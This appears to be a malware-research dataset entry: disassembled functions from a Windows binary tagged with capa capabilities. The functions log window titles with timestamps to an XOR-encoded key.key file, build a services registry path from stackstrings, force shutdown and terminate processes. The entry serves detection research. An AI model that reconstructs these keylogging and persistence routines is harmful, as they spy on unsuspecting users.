joyce8/EMBER2024-capa huggingface dataset:
Function at 0x406b81
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
mov eax, dword [0x579c00]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
mov esi, dword [ebp + 8]
mov eax, dword [esi]
push edi
push 0
push 0x80
push 3
push 0
mov dword [ebp - 0x18], eax
mov eax, dword [esi + 4]
push 2
mov edi, ecx
mov dword [ebp - 0x14], eax
push 0x40000000
lea eax, [edi + 0x120]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov ebx, eax
push 0
lea eax, [ebp - 0x18]
push eax
push dword [ebp - 0x14]
push ebx
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
push 0
lea eax, [ebp - 0x1c]
push eax
mov eax, dword [ebp + 0xc]
add eax, 0xfffffff8
push eax
add esi, 8
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_WriteFile]
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0x1c]
add dword [ebp - 0x14], eax
mov ecx, dword [0x57c184]
push 4
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0xf]
push eax
mov byte [ebp - 0x10], 0x95
call fcn.00410776
mov ecx, dword [0x57c184]
push 4
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0xb]
push eax
call fcn.00410776
push 0x1e
call dword [sym.imp.KERNEL32.dll_Sleep]
push 9
lea eax, [ebp - 0x10]
push eax
mov ecx, edi
call fcn.0040fe17
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.005025ee
leave
ret 8

Function at 0x406cd1
Capabilities:
Get file size

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
mov eax, dword [0x579c00]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push 0
push 0x80
push 3
push 0
push 0
mov esi, ecx
push SysReAllocString
lea eax, [esi + 0x120]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov ebx, eax
cmp ebx, 0xffffffff
jne 0x406d1b
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, esi
call fcn.00406c4e
jmp 0x406d90
and dword [ebp - 0x18], 0
lea eax, [ebp - 0x18]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetFileSize]
push ebx
mov dword [ebp - 0x1c], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [0x57c184]
push 4
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x13]
push eax
mov byte [ebp - 0x14], 0x97
call fcn.00410776
mov ecx, dword [0x57c184]
push 4
lea eax, [ebp - 0x1c]
push eax
lea eax, [ebp - 0xf]
push eax
call fcn.00410776
mov ecx, dword [0x57c184]
push 4
push 0x57b204
lea eax, [ebp - 0xb]
push eax
call fcn.00410776
push 0x12c
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0xd
lea eax, [ebp - 0x14]
push eax
mov ecx, esi
call fcn.0040fe17
mov ecx, dword [ebp - 4]
pop esi
xor ecx, ebp
pop ebx
call fcn.005025ee
leave
ret 4
Function at 0x406f45
Capabilities:
Encode data using xor
Get common file path
Get file size
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x21c
mov eax, dword [0x579c00]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
mov edi, dword [ebp + 8]
mov esi, 0x104
push esi
lea eax, [ebp - 0x20c]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
xor ebx, ebx
push 0x103
lea eax, [ebp - 0x107]
push ebx
push eax
mov byte [ebp - 0x108], bl
call fcn.00502190
add esp, 0xc
push esi
lea eax, [ebp - 0x108]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea eax, [ebp - 0x20c]
push str._._mnbvcxz_lkjhgfdsa__poiuytrewq
push eax
call fcn.00504630
lea eax, [ebp - 0x108]
push eax
lea eax, [ebp - 0x20c]
push eax
call fcn.00504630
lea eax, [ebp - 0x20c]
push str..key
push eax
call fcn.00504630
add esp, 0x18
push ebx
push 0x80
push 4
push ebx
push 2
push 0x40000000
push str.C:ProgramDatakey.key
call dword [sym.imp.KERNEL32.dll_CreateFileA]
push ebx
push eax
mov dword [ebp - 0x214], eax
mov dword [ebp - 0x218], ebx
call dword [sym.imp.KERNEL32.dll_GetFileSize]
cmp eax, 0x3200000
jae 0x40701b
push 2
push ebx
push ebx
push dword [ebp - 0x214]
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov esi, dword [sym.imp.KERNEL32.dll_lstrlenA]
push edi
call esi
push eax
mov dword [ebp - 0x210], eax
call fcn.004141c8
pop ecx
mov dword [ebp - 0x21c], eax
cmp dword [ebp - 0x210], ebx
jle 0x407060
mov edx, dword [ebp - 0x210]
mov ecx, edi
sub ecx, eax
mov dword [ebp - 0x210], edx
mov dl, byte [ecx + eax]
xor dl, 0x62
mov byte [eax], dl
inc eax
dec dword [ebp - 0x210]
jne 0x40704f
push ebx
lea eax, [ebp - 0x218]
push eax
push edi
call esi
push eax
push dword [ebp - 0x21c]
push dword [ebp - 0x214]
call dword [sym.imp.KERNEL32.dll_WriteFile]
push dword [ebp - 0x214]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.005025ee
leave
ret
Function at 0x407099
Capabilities:
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x418
mov eax, dword [0x579c00]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
mov edi, 0x400
push edi
xor ebx, ebx
push ebx
mov esi, 0x57b5f0
push esi
call fcn.00502190
add esp, 0xc
call dword [sym.imp.USER32.dll_GetForegroundWindow]
push edi
push esi
push eax
mov dword [0x57b5ec], eax
call dword [sym.imp.USER32.dll_GetWindowTextA]
push 0x3ff
lea eax, [ebp - 0x403]
push ebx
push eax
mov dword [ebp - 0x418], ebx
mov byte [ebp - 0x404], bl
call fcn.00502190
mov eax, dword [0x57b5ec]
add esp, 0xc
cmp eax, dword [0x57b5e8]
je 0x4071a0
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenA]
test eax, eax
jle 0x407196
lea eax, [ebp - 0x414]
push eax
call dword [sym.imp.KERNEL32.dll_GetLocalTime]
movzx eax, word [ebp - 0x408]
push eax
movzx eax, word [ebp - 0x40a]
push eax
movzx eax, word [ebp - 0x40c]
push eax
movzx eax, word [ebp - 0x40e]
push eax
movzx eax, word [ebp - 0x412]
push eax
movzx eax, word [ebp - 0x414]
push eax
push esi
lea eax, [ebp - 0x404]
push 0x52d2bc
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
lea eax, [ebp - 0x404]
push eax
call fcn.00406f45
push edi
lea eax, [ebp - 0x404]
push ebx
push eax
call fcn.00502190
push edi
push ebx
push esi
call fcn.00502190
add esp, 0x40
mov dword [ebp - 0x418], 1
mov eax, dword [0x57b5ec]
mov dword [0x57b5e8], eax
mov ecx, dword [ebp - 4]
mov eax, dword [ebp - 0x418]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.005025ee
leave
ret

Function at 0x407274
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
xor ebx, ebx
push ebx
mov word [ebp - 4], 0x5c
call edi
push 0x104
push ebx
mov esi, 0x57ba00
push esi
call fcn.00502190
add esp, 0xc
push ebx
call edi
push ebx
push 0x1a
push esi
push ebx
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
push ebx
call edi
mov ecx, dword [0x57c184]
lea eax, [ebp - 4]
push eax
push esi
call fcn.0041079d
push dword [ebp + 8]
mov ecx, dword [0x57c184]
push esi
call fcn.0041079d
pop edi
pop esi
pop ebx
leave
ret
Function at 0x407431
Capabilities:
Create shortcut via ishelllink

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x320
mov eax, dword [0x579c00]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0xc]
mov ecx, dword [ebp + 0x10]
push ebx
mov ebx, dword [ebp + 0x1c]
push esi
mov esi, dword [ebp + 0x14]
push edi
mov edi, dword [ebp + 8]
mov dword [ebp - 0x320], eax
mov dword [ebp - 0x31c], ecx
test eax, eax
jne 0x40746d
xor eax, eax
jmp 0x4075f9
lea eax, [ebp - 0x314]
push eax
push 0x556c38
push 1
push 0
push 0x556cb8
call dword [sym.imp.ole32.dll_CoCreateInstance]
test eax, eax
js 0x407466
mov eax, dword [ebp - 0x314]
mov ecx, dword [eax]
lea edx, [ebp - 0x318]
push edx
push 0x556c68
push eax
call dword [ecx]
test eax, eax
jns 0x4074b5
mov eax, dword [ebp - 0x314]
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
jmp 0x407466
mov eax, dword [ebp - 0x314]
mov ecx, dword [eax]
test edi, edi
jne 0x4074c9
push dword [0x582420]
jmp 0x4074ca
push edi
push eax
call dword [ecx + 0x50]
test esi, esi
je 0x4074df
mov eax, dword [ebp - 0x314]
mov ecx, dword [eax]
push esi
push eax
call dword [ecx + 0x50]
cmp word [ebp + 0x18], 0
je 0x4074f5
mov eax, dword [ebp - 0x314]
push dword [ebp + 0x18]
mov ecx, dword [eax]
push eax
call dword [ecx + 0x34]
test ebx, ebx
je 0x407506
mov eax, dword [ebp - 0x314]
mov ecx, dword [eax]
push ebx
push eax
call dword [ecx + 0x1c]
mov eax, dword [ebp - 0x314]
push dword [ebp + 0x20]
mov ecx, dword [eax]
push eax
call dword [ecx + 0x3c]
xor ebx, ebx
cmp dword [ebp - 0x31c], ebx
je 0x407543
push str..lnk
push dword [ebp - 0x31c]
lea eax, [ebp - 0x108]
push dword [ebp - 0x320]
push str._s_s_s
push eax
call fcn.00504718
jmp 0x4075a3
push 0x5c
cmp edi, ebx
je 0x40754c
push edi
jmp 0x407552
push dword [0x582420]
call fcn.00502710
pop ecx
pop ecx
cmp eax, ebx
jne 0x40756e
mov eax, dword [ebp - 0x318]
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
jmp 0x4074a7
push eax
push dword [ebp - 0x320]
lea eax, [ebp - 0x108]
push 0x52d348
push eax
call fcn.00504718
lea eax, [ebp - 0x108]
push eax
call fcn.00504590
lea eax, [ebp + eax - 0x108]
mov word [eax - 3], 0x6e6c
mov byte [eax - 1], 0x6b
add esp, 0x14
push 0x104
lea eax, [ebp - 0x310]
push eax
push 0xffffffffffffffff
lea eax, [ebp - 0x108]
push eax
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
mov eax, dword [ebp - 0x318]
mov ecx, dword [eax]
push 1
lea edx, [ebp - 0x310]
push edx
push eax
call dword [ecx + 0x18]
mov esi, eax
mov eax, dword [ebp - 0x318]
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov eax, dword [ebp - 0x314]
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
xor eax, eax
cmp esi, ebx
setge al
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.005025ee
leave
ret
Function at 0x407817
Capabilities:
Enumerate processes
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x130
mov eax, dword [0x579c00]
xor eax, ebp
mov dword [ebp - 4], eax
push edi
mov edi, dword [ebp + 8]
test edi, edi
jne 0x407839
xor eax, eax
jmp 0x4078ec
push 0
push 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov dword [ebp - 0x130], eax
cmp eax, 0xffffffff
je 0x407832
push esi
lea ecx, [ebp - 0x12c]
push ecx
push eax
mov dword [ebp - 0x12c], 0x128
call sub.KERNEL32.dll_Process32First
test eax, eax
je 0x4078dd
lea eax, [ebp - 0x108]
push edi
push eax
xor esi, esi
call fcn.00504a90
pop ecx
pop ecx
test eax, eax
je 0x4078b2
lea eax, [ebp - 0x12c]
push eax
push dword [ebp - 0x130]
call sub.KERNEL32.dll_Process32Next
test eax, eax
je 0x4078ae
lea eax, [ebp - 0x108]
push edi
push eax
call fcn.00504a90
pop ecx
pop ecx
test eax, eax
jne 0x4078aa
xor esi, esi
inc esi
test esi, esi
je 0x40787e
test esi, esi
je 0x4078dd
push dword [ebp - 0x130]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push dword [ebp - 0x124]
push 0
push 1
call dword [sym.imp.KERNEL32.dll_OpenProcess]
test eax, eax
je 0x4078e9
push 0
push eax
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
jmp 0x4078eb
push dword [ebp - 0x130]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop edi
call fcn.005025ee
leave
ret

Function at 0x407a75
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x434
mov eax, dword [0x579c00]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
push esi
push edi
mov edi, dword [ebp + 0x10]
mov dword [ebp - 0x434], eax
mov eax, dword [ebp + 0xc]
xor ebx, ebx
push 0x3ff
mov dword [ebp - 0x430], eax
lea eax, [ebp - 0x42b]
push ebx
push eax
mov byte [ebp - 0x42c], bl
call fcn.00502190
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
add esp, 0xc
push ebx
call esi
push 0x400
lea eax, [ebp - 0x42c]
push ebx
push eax
call fcn.00502190
add esp, 0xc
push ebx
call esi
push ebx
mov dword [ebp - 0x2c], 0x54535953
mov dword [ebp - 0x28], 0x435c4d45
mov dword [ebp - 0x24], 0x65727275
mov dword [ebp - 0x20], 0x6f43746e
mov dword [ebp - 0x1c], 0x6f72746e
mov dword [ebp - 0x18], 0x7465536c
mov dword [ebp - 0x14], 0x7265535c
mov dword [ebp - 0x10], 0x65636976
mov dword [ebp - 0xc], 0x73255c73
mov byte [ebp - 8], bl
call esi
push dword [ebp - 0x434]
lea eax, [ebp - 0x2c]
push eax
lea eax, [ebp - 0x42c]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
push ebx
call esi
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
push edi
push 1
push dword [ebp - 0x430]
lea eax, [ebp - 0x42c]
push eax
push reloc.OLEAUT32.dll_SysReAllocString
call fcn.00411869
add esp, 0x1c
push ebx
call esi
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.005025ee
leave
ret
Function at 0x407bb3
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
mov eax, dword [0x579c00]
xor eax, ebp
mov dword [ebp - 4], eax
mov ecx, dword [ebp + 0xc]
mov eax, dword [ebp + 8]
push ecx
lea ecx, [ebp - 0x14]
push ecx
push eax
mov dword [ebp - 0x14], 0x6e6e6f43
mov dword [ebp - 0x10], 0x47746365
mov dword [ebp - 0xc], 0x70756f72
mov byte [ebp - 8], 0
call fcn.00407a75
mov ecx, dword [ebp - 4]
xor ecx, ebp
add esp, 0xc
call fcn.005025ee
leave
ret

Function at 0x407e13
Capabilities:
Get token membership

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [0x579c00]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
xor ebx, ebx
lea eax, [ebp - 0x10]
push eax
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push 0x220
push 0x20
push 2
lea eax, [ebp - 0xc]
push eax
mov dword [ebp - 0x14], ebx
xor esi, esi
mov dword [ebp - 0x10], ebx
mov dword [ebp - 0xc], ebx
mov word [ebp - 8], 0x500
call dword [sym.imp.ADVAPI32.dll_AllocateAndInitializeSid]
test eax, eax
je 0x407e6b
lea eax, [ebp - 0x14]
push eax
push dword [ebp - 0x10]
push ebx
call dword [sym.imp.ADVAPI32.dll_CheckTokenMembership]
test eax, eax
jne 0x407e73
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, eax
cmp dword [ebp - 0x10], ebx
je 0x407e84
push dword [ebp - 0x10]
call dword [sym.imp.ADVAPI32.dll_FreeSid]
mov dword [ebp - 0x10], ebx
cmp esi, ebx
je 0x407e99
push 0x563598
lea eax, [ebp - 0x18]
push eax
mov dword [ebp - 0x18], esi
call fcn.00504b18
mov ecx, dword [ebp - 4]
mov eax, dword [ebp - 0x14]
pop esi
xor ecx, ebp
pop ebx
call fcn.005025ee
leave
ret

Function at 0x40888b
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
mov eax, dword [0x579c00]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push edi
push 1
mov esi, str.SeShutdownPrivilege
push esi
mov edi, ecx
call fcn.00408041
lea eax, [ebp - 0x20]
push eax
lea eax, [ebp - 0x10]
push eax
mov dword [ebp - 0x10], 0x52455355
mov dword [ebp - 0xc], 0x642e3233
mov word [ebp - 8], 0x6c6c
mov byte [ebp - 6], 0
mov dword [ebp - 0x20], 0x74697845
mov dword [ebp - 0x1c], 0x646e6957
mov dword [ebp - 0x18], 0x4573776f
mov word [ebp - 0x14], 0x78
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0
push dword [ebp + 8]
call eax
push 0
push esi
mov ecx, edi
call fcn.00408041
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
pop esi
call fcn.005025ee
leave
ret 4
Function at 0x409231
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x12c
mov eax, dword [0x579c00]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
mov esi, dword [ebp + 8]
push edi
xor ebx, ebx
push ebx
push 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov edi, eax
cmp edi, 0xffffffff
jne 0x40925f
xor al, al
jmp 0x4092b5
lea eax, [ebp - 0x12c]
push eax
push edi
mov dword [ebp - 0x12c], 0x128
call sub.KERNEL32.dll_Process32First
jmp 0x4092a4
cmp dword [esi + 0x14], 0x10
jb 0x409282
mov eax, dword [esi]
jmp 0x409284
mov eax, esi
lea ecx, [ebp - 0x108]
push ecx
push eax
call fcn.005050ee
pop ecx
pop ecx
test eax, eax
je 0x4092aa
lea eax, [ebp - 0x12c]
push eax
push edi
call sub.KERNEL32.dll_Process32Next
test eax, eax
jne 0x409278
jmp 0x4092ac
mov bl, 1
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, bl
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.005025ee
leave
ret
Function at 0x40abd8
Capabilities:
Check if file exists
Get file attributes
Get file size
Read file on windows

Disassembly:
push 0xc
mov eax, 0x51e3c1
call fcn.005025fd
mov ebx, dword [ebp + 0x14]
mov eax, dword [0x57c04c]
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
xor edi, edi
mov dword [ebp - 0x10], edi
mov dword [ebp - 0x14], eax
cmp dword [ebx*4 + 0x57bb08], edi
jne 0x40ad0c
push dword [ebp + 8]
call fcn.00407274
pop ecx
push edi
call esi
push 0x57ba00
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x40ac3e
push ebx
push 1
push 0x57ba00
call fcn.004071b5
add esp, 0xc
cmp ebx, edi
jne 0x40ac3e
xor eax, eax
jmp 0x40add7
push edi
call esi
push edi
push 0x80
push 3
push edi
push edi
push SysReAllocString
push 0x57ba00
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [0x57b208], eax
cmp eax, 0xffffffff
je 0x40ac37
push edi
call esi
push edi
push dword [0x57b208]
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [0x57b20c], eax
cmp eax, edi
jg 0x40ac8c
push dword [0x57b208]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x40ac37
push 4
push 0x3000
push eax
push edi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push edi
mov dword [0x57b9f0], eax
call esi
push edi
push 0x57b210
push dword [0x57b20c]
push dword [0x57b9f0]
push dword [0x57b208]
call dword [sym.imp.KERNEL32.dll_ReadFile]
push edi
call esi
push dword [0x57b208]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push edi
call esi
push dword [0x57b20c]
push dword [0x57b9f0]
call fcn.00413586
push dword [0x57b9f0]
call fcn.00410571
add esp, 0xc
mov dword [ebx*4 + 0x57b9f8], eax
cmp eax, edi
je 0x40ac37
mov dword [ebx*4 + 0x57bb08], 1
push edi
call esi
push dword [ebp + 0xc]
push dword [ebx*4 + 0x57b9f8]
call fcn.00410368
pop ecx
pop ecx
mov dword [ebp - 0x18], eax
cmp eax, edi
je 0x40add4
cmp ebx, edi
jne 0x40ad50
push dword [ebp + 0x10]
push dword [ebp - 0x14]
push 2
push edi
push dword [0x574510]
push 0x57bb18
call eax
add esp, 0x18
mov dword [ebp - 0x10], eax
jmp 0x40add4
xor ebx, ebx
inc ebx
cmp dword [ebp + 0x14], ebx
jne 0x40add4
cmp word [0x57b9f4], di
jbe 0x40add4
cmp dword [0x57bb10], ebx
je 0x40ac37
call fcn.0041528a
push eax
lea ecx, [ebp + 0x14]
call fcn.00408932
movzx eax, word [0x57b9f4]
push eax
push 0x57bb18
lea eax, [ebp + 0x14]
push str._s:_d
push eax
mov dword [ebp - 4], edi
call fcn.0040a810
mov esi, dword [ebp + 0x14]
add esp, 0x10
cmp dword [esi - 4], ebx
jle 0x40adb2
push dword [esi - 0xc]
lea ecx, [ebp + 0x14]
call fcn.0040895a
mov esi, dword [ebp + 0x14]
push esi
call fcn.00504590
push eax
push esi
mov dword [0x57bb10], ebx
call dword [ebp - 0x18]
add esp, 0xc
lea ecx, [esi - 0x10]
mov dword [0x57bb10], edi
call fcn.00406dee
mov eax, dword [ebp - 0x10]
call fcn.005026d5
ret
Function at 0x40e234
Capabilities:
Parse credit card information

Disassembly:
push ebx
push esi
mov esi, ecx
mov ecx, dword [esi + 0x40]
xor al, al
mov bl, 1
cmp ecx, 0xffffffff
je 0x40e3ca
push edi
mov edi, 0x10000000
cmp ecx, 0x7c
je 0x40e3c9
cmp ecx, 0x29
jne 0x40e278
cmp dword [esi + 0x10], 0
jne 0x40e3c9
test dword [esi + 0x44], edi
jne 0x40e278
push 5
call fcn.0051dae8
pop ecx
jmp 0x40e3b2
cmp ecx, 0x2e
jne 0x40e293
push 5
lea ecx, [esi + 0x18]
call fcn.00408398
mov ecx, esi
call fcn.00409725
jmp 0x40e3b2
cmp ecx, 0x5c
jne 0x40e2f0
mov ecx, esi
call fcn.00409725
mov eax, dword [esi + 0x44]
and eax, 0x80
je 0x40e2c5
cmp byte [esi + 0x3e], 0x62
jne 0x40e2c5
push 4
lea ecx, [esi + 0x18]
call fcn.00408398
mov ecx, esi
call fcn.00409725
jmp 0x40e3b9
test eax, eax
je 0x40e2e4
cmp byte [esi + 0x3e], 0x42
jne 0x40e2e4
push 4
lea ecx, [esi + 0x18]
call fcn.00408398
mov eax, dword [esi + 0x1c]
add eax, 8
xor dword [eax], 1
jmp 0x40e2b9
mov ecx, esi
call fcn.0040d35e
jmp 0x40e3b2
cmp ecx, 0x5b
jne 0x40e31a
mov ecx, esi
call fcn.00409725
mov ecx, esi
call fcn.0040dfdd
cmp dword [esi + 0x40], 0x5d
je 0x40e287
push 4
call fcn.0051dae8
pop ecx
jmp 0x40e287
cmp ecx, 0x28
jne 0x40e346
mov ecx, esi
call fcn.00409725
mov ecx, esi
call fcn.0040974c
cmp dword [esi + 0x40], 0x29
mov bl, al
je 0x40e33d
push 5
call fcn.0051dae8
pop ecx
mov ecx, esi
call fcn.00409725
jmp 0x40e3ae
cmp ecx, 0x5e
jne 0x40e352
push 2
jmp 0x40e2b1
cmp ecx, 0x24
jne 0x40e35e
push 3
jmp 0x40e2b1
cmp ecx, 0x2a
je 0x40e3a6
cmp ecx, 0x2b
je 0x40e3a6
cmp ecx, 0x3f
je 0x40e3a6
cmp ecx, 0x7b
je 0x40e3a6
cmp ecx, 0x7d
jne 0x40e383
test dword [esi + 0x44], edi
jne 0x40e383
push 6
jmp 0x40e26d
cmp ecx, 0x5d
jne 0x40e394
test dword [esi + 0x44], edi
jne 0x40e394
push 4
jmp 0x40e26d
movzx eax, byte [esi + 0x3e]
push eax
lea ecx, [esi + 0x18]
call fcn.0040ccfd
jmp 0x40e287
push 0xa
call fcn.0051dae8
pop ecx
test bl, bl
je 0x40e3b9
mov ecx, esi
call fcn.0040cdf1
mov ecx, dword [esi + 0x40]
mov al, 1
mov bl, al
cmp ecx, 0xffffffff
jne 0x40e24e
pop edi
pop esi
pop ebx
ret
Function at 0x40e56e
Capabilities:
Parse credit card information

Disassembly:
push ebx
push esi
mov esi, ecx
mov ecx, dword [esi + 0x40]
xor al, al
mov bl, 1
cmp ecx, 0xffffffff
je 0x40e704
push edi
mov edi, 0x10000000
cmp ecx, 0x7c
je 0x40e703
cmp ecx, 0x29
jne 0x40e5b2
cmp dword [esi + 0x10], 0
jne 0x40e703
test dword [esi + 0x44], edi
jne 0x40e5b2
push 5
call fcn.0051dae8
pop ecx
jmp 0x40e6ec
cmp ecx, 0x2e
jne 0x40e5cd
push 5
lea ecx, [esi + 0x18]
call fcn.00408398
mov ecx, esi
call fcn.00409725
jmp 0x40e6ec
cmp ecx, 0x5c
jne 0x40e62a
mov ecx, esi
call fcn.00409725
mov eax, dword [esi + 0x44]
and eax, 0x80
je 0x40e5ff
cmp byte [esi + 0x3e], 0x62
jne 0x40e5ff
push 4
lea ecx, [esi + 0x18]
call fcn.00408398
mov ecx, esi
call fcn.00409725
jmp 0x40e6f3
test eax, eax
je 0x40e61e
cmp byte [esi + 0x3e], 0x42
jne 0x40e61e
push 4
lea ecx, [esi + 0x18]
call fcn.00408398
mov eax, dword [esi + 0x1c]
add eax, 8
xor dword [eax], 1
jmp 0x40e5f3
mov ecx, esi
call fcn.0040cd5d
jmp 0x40e6ec
cmp ecx, 0x5b
jne 0x40e654
mov ecx, esi
call fcn.00409725
mov ecx, esi
call fcn.0040e4ad
cmp dword [esi + 0x40], 0x5d
je 0x40e5c1
push 4
call fcn.0051dae8
pop ecx
jmp 0x40e5c1
cmp ecx, 0x28
jne 0x40e680
mov ecx, esi
call fcn.00409725
mov ecx, esi
call fcn.00409813
cmp dword [esi + 0x40], 0x29
mov bl, al
je 0x40e677
push 5
call fcn.0051dae8
pop ecx
mov ecx, esi
call fcn.00409725
jmp 0x40e6e8
cmp ecx, 0x5e
jne 0x40e68c
push 2
jmp 0x40e5eb
cmp ecx, 0x24
jne 0x40e698
push 3
jmp 0x40e5eb
cmp ecx, 0x2a
je 0x40e6e0
cmp ecx, 0x2b
je 0x40e6e0
cmp ecx, 0x3f
je 0x40e6e0
cmp ecx, 0x7b
je 0x40e6e0
cmp ecx, 0x7d
jne 0x40e6bd
test dword [esi + 0x44], edi
jne 0x40e6bd
push 6
jmp 0x40e5a7
cmp ecx, 0x5d
jne 0x40e6ce
test dword [esi + 0x44], edi
jne 0x40e6ce
push 4
jmp 0x40e5a7
movzx eax, byte [esi + 0x3e]
push eax
lea ecx, [esi + 0x18]
call fcn.0040ccfd
jmp 0x40e5c1
push 0xa
call fcn.0051dae8
pop ecx
test bl, bl
je 0x40e6f3
mov ecx, esi
call fcn.0040cdf1
mov ecx, dword [esi + 0x40]
mov al, 1
mov bl, al
cmp ecx, 0xffffffff
jne 0x40e588
pop edi
pop esi
pop ebx
ret